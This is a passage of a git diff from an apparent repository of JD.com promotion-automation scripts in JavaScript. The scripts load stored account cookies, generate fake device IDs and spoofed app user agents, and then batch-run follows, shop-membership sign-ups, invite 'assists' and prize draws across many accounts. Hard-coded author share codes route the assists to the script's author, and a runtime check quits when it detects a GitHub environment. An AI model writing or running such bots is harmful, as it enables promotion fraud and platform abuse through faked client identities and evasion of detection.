"jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + data = JSON.parse(data); + + + + if(data.code == 0){ + + console.log('\n当前商品邀请码:'+data.data.packetId+"\n当前初始化砍价:"+data.data.amount) + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function kanjia() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com`, + + body: `functionId=helpBargain&body={"actId":"${actId}","packetId":"${packetId}","headPortrait":"","nick":"","attent":true,"channel":"speed_app"}&appid=megatron&client=megatron&clientVersion=1.0.0`, +headers: { +"Origin": "https://mfn.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + data = JSON.parse(data); + + + + if(data.code == 0){ + + console.log('\n已帮砍:'+data.msg) + + }else + console.log('\n已帮砍:'+data.msg) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + + + + + + + + + + + + + + + + + + +async function taskPostUrl(functionId,body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + + +async function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz1_customizeds.js b/jd_lzdz1_customized.js similarity index 99% rename from jd_lzdz1_customizeds.js rename to jd_lzdz1_customized.js index e528a3c..a9930c4 100644 --- a/jd_lzdz1_customizeds.js +++ b/jd_lzdz1_customized.js @@ -1,7 +1,7 @@ /* -“七”待已久,“夕”望你来 +浪漫七夕 放肆约惠 */ -const $ = new Env("“七”待已久,“夕”望你来"); +const $ = new Env("浪漫七夕 放肆约惠"); const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; const notify = $.isNode() ? require("./sendNotify") : ""; let cookiesArr = [], cookie = "", message = ""; @@ -55,19 +55,19 @@ if ($.isNode()) { $.ADID = getUUID("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", 1); $.UUID = getUUID("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); authorCodeList = [ - 'a944fc3b436741718bda3115f7a81e7f', - // '60ec3454bd4e44c6b39431f602161729', + '6b8106de4c77406d8fc0691f7363f8bd', + // 'ee1cffb7a3c04c25afbcbe4ff8a3adc1', // '99a10aa547ae425f8245479a3f6cc680', ]; // $.authorCode = authorCodeList[random(0, authorCodeList.length)]; $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] $.authorNum = `${random(1000000, 9999999)}`; $.randomCode = random(1000000, 9999999); - $.activityId = "e6fc50c7dcc34c99bf5cca76c8c6468e"; - $.activityShopId = "1000164941"; + $.activityId = "fbfd6f75f0f845418801dfc46e15d7a5"; + $.activityShopId = "1000000904"; $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/joinCommon/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=&shareuserid4minipg=${encodeURIComponent($.secretPin)}&shopid=1000004065&lng=00.000000&lat=00.000000&sid=&un_area=`; await member(); - // await $.wait(1000); + await $.wait(3000); if ($.bean > 0) { message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。`; } @@ -174,7 +174,7 @@ function task(function_id, body, isCommon = 0, own = 0) { $.jdActivityId = data.data.jdActivityId; $.venderId = data.data.venderId; $.activityType = data.data.activityType; - // console.log($.venderId) + console.log($.venderId) break; case "wxActionCommon/getUserInfo": break; diff --git a/jd_lzdz1_customized2.js b/jd_lzdz1_customized2.js deleted file mode 100644 index 2de9348..0000000 --- a/jd_lzdz1_customized2.js +++ /dev/null @@ -1,547 +0,0 @@ -/* -盛夏派对 为爱而惠 -*/ -const $ = new Env("盛夏派对 为爱而惠"); -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -const notify = $.isNode() ? require("./sendNotify") : ""; -let cookiesArr = [], cookie = "", message = ""; -let ownCode = null; -let authorCodeList = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]); - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; -} else { - let cookiesData = $.getdata("CookiesJD") || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map((item) => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata("CookieJD2"), $.getdata("CookieJD")]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter((item) => !!item); -} -!(async () => { - $.getAuthorCodeListerr = false; - if (!cookiesArr[0]) { - $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - // authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/code/raw/master/lzdz112.json') - // if ($.getAuthorCodeListerr === false) { - // authorCodeList = [ - // '917746a95cae46618c8f6b0ff55dfbc2', - // ] - // } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - originCookie = cookiesArr[i]; - newCookie = ""; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = ""; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - // if ($.isNode()) { - // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - // } - continue; - } - $.bean = 0; - $.ADID = getUUID("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", 1); - $.UUID = getUUID("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); - authorCodeList = [ - 'f4718e389f8244b0b7932b27cd23360b', - '60ec3454bd4e44c6b39431f602161729', - // '99a10aa547ae425f8245479a3f6cc680', - ]; - // $.authorCode = authorCodeList[random(0, authorCodeList.length)]; - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}`; - $.randomCode = random(1000000, 9999999); - $.activityId = "121c03b3361c493db5f43a7c17e097d5"; - $.activityShopId = "1000000904"; - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/joinCommon/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=&shareuserid4minipg=${encodeURIComponent($.secretPin)}&shopid=1000004065&lng=00.000000&lat=00.000000&sid=&un_area=`; - await member(); - await $.wait(2000); - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。`; - } - } - } - if (message !== "") { - if ($.isNode()) { - await notify.sendNotify($.name, message, "", `\n`); - } else { - $.msg($.name, "有点儿收获", message); - } - } -})() - .catch((e) => { - $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); - }) - .finally(() => { - $.done(); - }); - -async function member() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null; - $.addScore = 1 - lz_cookie = {}; - await getFirstLZCK(); - await getToken(); - await task("dz/common/getSimpleActInfoVo", `activityId=${$.activityId}`, 1); - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> " + $.authorCode); - // console.log(cookie) - await task("common/accessLogWithAD", `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=`, 1); - // await task("wxActionCommon/getUserInfo", `pin=${encodeURIComponent($.secretPin)}`, 1); - if ($.index === 1) { - await task("joinCommon/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1); - } else { - await task("joinCommon/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`); - } - $.log("关注店铺"); - await task("joinCommon/doTask", `activityId=${$.activityId}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}&taskType=20&taskValue=`); - await $.wait(500); - await task("joinCommon/doTask", `activityId=${$.activityId}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=`); - await $.wait(500); - await task("joinCommon/taskInfo", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`); - $.log("加入店铺会员"); - if ($.openCardList) { - for (const vo of $.openCardList) { - // console.log(vo) - $.log(`>>> 去加入${vo.name} ${vo.value}`); - // await task("crm/pageVisit/insertCrmPageVisit", `venderId=1000000576&elementId=入会跳转&pageId=dzlhkk068d4d0ab8a6609723002f50&pin=${encodeURIComponent($.secretPin)}`, 1); - // await $.wait(500); - // await getFirstLZCK(); - // await getToken(); - await getShopOpenCardInfo({ venderId: `${vo.value}`, channel: "401" }, vo.value); - // console.log($.openCardActivityId) - await bindWithVender({ venderId: `${vo.value}`, bindByVerifyCodeFlag: 1, registerExtend: {}, writeChildFlag: 0, activityId: 2329491, channel: 401 }, vo.value); - // await $.wait(500); - } - } else { - $.log("没有获取到对应的任务。\n"); - } - await task("joinCommon/taskInfo", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`); - await task("joinCommon/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1); - console.log("去助力 -> " + $.authorCode); - // await task("joinCommon/assist/status", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&uuid=${$.actorUuid}&shareUuid=${$.authorCode}`); - await task("joinCommon/assist", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&uuid=${$.actorUuid}&shareUuid=${$.authorCode}`); - // await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - - // await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - // console.log('任务 -> ') - // await $.wait(2000) - // await task('opencard/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - // await $.wait(2000) - // await task('linkgame/sendAllCoupon', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - // await getFirstLZCK() - // await getToken(); - console.log('抽奖 -> ') - await $.wait(2000) - await task('joinCommon/startDraw', `activityId=${$.activityId}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); - // console.log('100 -> ') - // await getFirstLZCK() - // await getToken(); - // await $.wait(2000) - // await task('linkgame/draw/record', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise((resolve) => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err); - } else { - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case "dz/common/getSimpleActInfoVo": - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - $.activityType = data.data.activityType; - // console.log($.venderId) - break; - case "wxActionCommon/getUserInfo": - break; - case "joinCommon/activityContent": - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`); - $.log("-------------------"); - if ($.index === 1) { - ownCode = data.data.actorInfo["uuid"]; - console.log(ownCode); - } - $.actorUuid = data.data.actorInfo["uuid"]; - } else { - $.log("活动已经结束"); - } - break; - case "joinCommon/taskInfo": - $.openCardList = data.data['1']['settingInfo']; - $.openCardStatus = data.data; - // console.log($.openCardList) - break; - case "joinCommon/startDraw": - console.log(data); - if (data.data) { - $.addScore = data.data.addScore - } - break; - case "linkgame/sign": - console.log(data); - break; - case "opencard/addCart": - if (data.data) { - console.log(data.data); - } - break; - case "linkgame/sendAllCoupon": - if (data.data) { - console.log(data.data); - } - - break; - case "interaction/write/writePersonInfo": - console.log(data); - break; - case "linkgame/draw": - console.log(data); - break; - case "linkgame/draw/record": - console.log(data.data); - break; - case "joinCommon/assist/status": - $.log(JSON.stringify(data)); - break; - case "joinCommon/assist": - $.log(JSON.stringify(data)); - break; - case "opencard/help/list": - $.log(JSON.stringify(data)); - break; - default: - // $.log(JSON.stringify(data)) - break; - } - } else { - // $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error); - } finally { - resolve(); - } - }); - }); -} -function taskaccessLog(function_id, body, isCommon = 0) { - return new Promise((resolve) => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err); - } else { - // console.log(resp); - if (resp["headers"]["set-cookie"]) { - cookie = `${originCookie};`; - for (let sk of resp["headers"]["set-cookie"]) { - lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1); - } - for (const vo of Object.keys(lz_cookie)) { - cookie += vo + "=" + lz_cookie[vo] + ";"; - } - } - } - } catch (error) { - console.log(error); - } finally { - resolve(); - } - }); - }); -} - -function getAuthorCodeList(url) { - return new Promise((resolve) => { - const options = { - url: `${url}?${new Date()}`, - timeout: 10000, - headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88", - }, - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - // $.log(err) - $.getAuthorCodeListerr = false; - } else { - if (data) data = JSON.parse(data); - $.getAuthorCodeListerr = true; - } - } catch (e) { - $.logErr(e, resp); - data = null; - } finally { - resolve(data); - } - }); - }); -} - -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: "lzdz1-isv.isvjcloud.com", - Accept: "application/json", - "X-Requested-With": "XMLHttpRequest", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - Origin: "https://lzdz1-isv.isvjcloud.com", - "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: "keep-alive", - Referer: $.activityUrl, - Cookie: cookie, - }, - body: body, - }; -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: "lzdz1-isv.isvjcloud.com", - Accept: "application/json", - "X-Requested-With": "XMLHttpRequest", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - Origin: "https://lzdz1-isv.isvjcloud.com", - "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: "keep-alive", - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1`, - }; - return new Promise((resolve) => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err); - } else { - if (resp["headers"]["set-cookie"]) { - cookie = `${originCookie}`; - if ($.isNode()) { - for (let sk of resp["headers"]["set-cookie"]) { - cookie = `${cookie}${sk.split(";")[0]};`; - } - } else { - for (let ck of resp["headers"]["Set-Cookie"].split(",")) { - cookie = `${cookie}${ck.split(";")[0]};`; - } - } - } - if (resp["headers"]["Set-Cookie"]) { - cookie = `${originCookie}`; - if ($.isNode()) { - for (let sk of resp["headers"]["set-cookie"]) { - cookie = `${cookie}${sk.split(";")[0]};`; - } - } else { - for (let ck of resp["headers"]["Set-Cookie"].split(",")) { - cookie = `${cookie}${ck.split(";")[0]};`; - } - } - } - if (data) { - data = JSON.parse(data); - if (data.result) { - $.log(`你好:${data.data.nickname}`); - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}`; - } else { - $.log(data.errorMessage); - } - } else { - $.log("京东返回了空数据"); - } - } - } catch (error) { - $.log(error); - } finally { - resolve(); - } - }); - }); -} -function getFirstLZCK() { - return new Promise((resolve) => { - $.get( - { - url: $.activityUrl, - headers: { - "user-agent": 